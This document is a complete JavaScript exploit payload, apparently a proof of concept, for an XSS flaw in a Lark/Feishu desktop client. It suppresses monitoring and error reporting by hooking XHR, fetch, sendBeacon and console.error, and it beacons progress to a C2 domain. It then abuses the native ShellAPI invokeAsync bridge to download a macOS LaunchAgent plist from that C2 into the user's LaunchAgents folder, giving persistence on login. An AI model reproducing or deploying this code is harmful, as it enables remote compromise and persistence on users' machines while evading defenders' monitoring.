(function() {
  'use strict';
  if (window.__exploit_executed) return;
  window.__exploit_executed = true;

  var C2 = 'https://cdn-7f3a.chinapay.life';

  // ========== Monitoring Suppression ==========
  var BLOCK_PATTERNS = [
    '/monitor_browser/', '/monitor_web/', '/collect/batch', 'slardar',
    '/log/sentry/', '/v2/event', '/service/2/app_log', '/report/',
    'tea_tracked', 'aegis', 'jank_monitor', 'gecko-bd.larksuite'
  ];

  function shouldBlock(url) {
    if (!url) return false;
    var urlStr = String(url).toLowerCase();
    for (var i = 0; i < BLOCK_PATTERNS.length; i++) {
      if (urlStr.indexOf(BLOCK_PATTERNS[i].toLowerCase()) !== -1) return true;
    }
    return false;
  }

  var _origXHROpen = XMLHttpRequest.prototype.open;
  var _origXHRSend = XMLHttpRequest.prototype.send;

  XMLHttpRequest.prototype.open = function(method, url) {
    this.__xhrUrl = url;
    this.__blocked = shouldBlock(url);
    if (!this.__blocked) return _origXHROpen.apply(this, arguments);
    return _origXHROpen.call(this, method, 'about:blank');
  };

  XMLHttpRequest.prototype.send = function() {
    if (this.__blocked) {
      var self = this;
      setTimeout(function() {
        Object.defineProperty(self, 'status', { value: 200, writable: false });
        Object.defineProperty(self, 'readyState', { value: 4, writable: false });
        Object.defineProperty(self, 'responseText', { value: '{}', writable: false });
        if (self.onreadystatechange) self.onreadystatechange();
        if (self.onload) self.onload();
      }, 10);
      return;
    }
    return _origXHRSend.apply(this, arguments);
  };

  var _origFetch = window.fetch;
  if (_origFetch) {
    window.fetch = function(input, init) {
      var url = (typeof input === 'string') ? input : (input && input.url ? input.url : '');
      if (shouldBlock(url)) {
        return Promise.resolve(new Response('{}', { status: 200, headers: { 'Content-Type': 'application/json' } }));
      }
      return _origFetch.apply(this, arguments);
    };
  }

  window.onerror = function() { return true; };
  window.onunhandledrejection = function(e) { if (e) e.preventDefault && e.preventDefault(); };

  if (window.__slardar) { try { window.__slardar.report = function(){}; window.__slardar.captureException = function(){}; } catch(e){} }
  if (window.Slardar) { try { window.Slardar.report = function(){}; window.Slardar.captureException = function(){}; } catch(e){} }

  var _origConsoleError = console.error;
  console.error = function() {
    var msg = String(arguments[0] || '');
    if (msg.indexOf('invokeAsync') !== -1 || msg.indexOf('ShellAPI') !== -1 ||
        msg.indexOf('exploit') !== -1 || msg.indexOf('download') !== -1) return;
    return _origConsoleError.apply(console, arguments);
  };

  var _origSendBeacon = navigator.sendBeacon;
  if (_origSendBeacon) {
    navigator.sendBeacon = function(url, data) {
      if (shouldBlock(url)) return true;
      return _origSendBeacon.apply(navigator, arguments);
    };
  }

  // ========== C2 Communication ==========
  function exfil(path, data) {
    try {
      var x = new XMLHttpRequest();
      _origXHROpen.call(x, 'POST', C2 + '/results/exploit-' + path, true);
      x.setRequestHeader('Content-Type', 'application/json');
      _origXHRSend.call(x, JSON.stringify(data));
    } catch(e) {}
  }

  function sleep(ms) {
    return new Promise(function(resolve) { setTimeout(resolve, ms); });
  }

  // ========== Main Exploit ==========
  async function exploit() {
    exfil('start', { ts: Date.now(), url: location.href, monitoring: 'suppressed' });

    // Step 1: Wait for ShellAPI
    var S = null;
    for (var i = 0; i < 60; i++) {
      S = window.ShellAPI || (window.lark && window.lark.ShellAPI);
      if (S && S.app && S.app.sdk) break;
      S = null;
      await sleep(500);
    }

    if (!S) {
      exfil('error', { msg: 'ShellAPI not available after 30s' });
      return;
    }

    exfil('shellapi-ready', { ts: Date.now() });

    // Step 2: Download LaunchAgent plist (opens Calculator on login)
    var ts = Date.now();
    var plistPath = '/Users/david/Library/LaunchAgents/com.xss.poc.' + ts + '.plist';

    try {
      var plistResult = await S.app.sdk.invokeAsync({
        command: 1150,
        params: JSON.stringify({
          key: 'xss-plist-' + ts,
          path: plistPath,
          url: C2 + '/plist-payload'
        }),
        pb: {
          request: 'media.v1.DownloadResourceByUrlRequest',
          response: 'media.v1.DownloadResourceByUrlResponse'
        },
        contextId: 'xss-plist-' + ts,
        collectTrace: false,
        extendParams: '{}'
      });

      var plistData = typeof plistResult.result === 'string' ? JSON.parse(plistResult.result) : plistResult.result;
      exfil('plist-download', {
        success: !plistResult.hasError,
        status: plistData.status,
        path: plistData.path,
        targetPath: plistPath
      });
    } catch(e) {
      exfil('plist-download', { success: false, error: e.message || String(e), targetPath: plistPath });
    }

    // Step 3: Verify plist file exists
    await sleep(2000);
    try {
      var stat = await S.app.webview.fsStat({ path: plistPath });
      exfil('complete', {
        ts: Date.now(),
        plistPath: plistPath,
        exists: !stat.error,
        size: stat.size,
        chain: 'XSS (wiki vwb) → monitoring suppressed → plist downloaded → Calculator on login'
      });
    } catch(e) {
      exfil('complete', { ts: Date.now(), plistPath: plistPath, verifyError: e.message || String(e) });
    }
  }

  // Execute with 2 second delay (page needs to finish loading)
  setTimeout(function() {
    exploit().catch(function(e) {
      exfil('fatal', { error: String(e), stack: e.stack });
    });
  }, 2000);
})();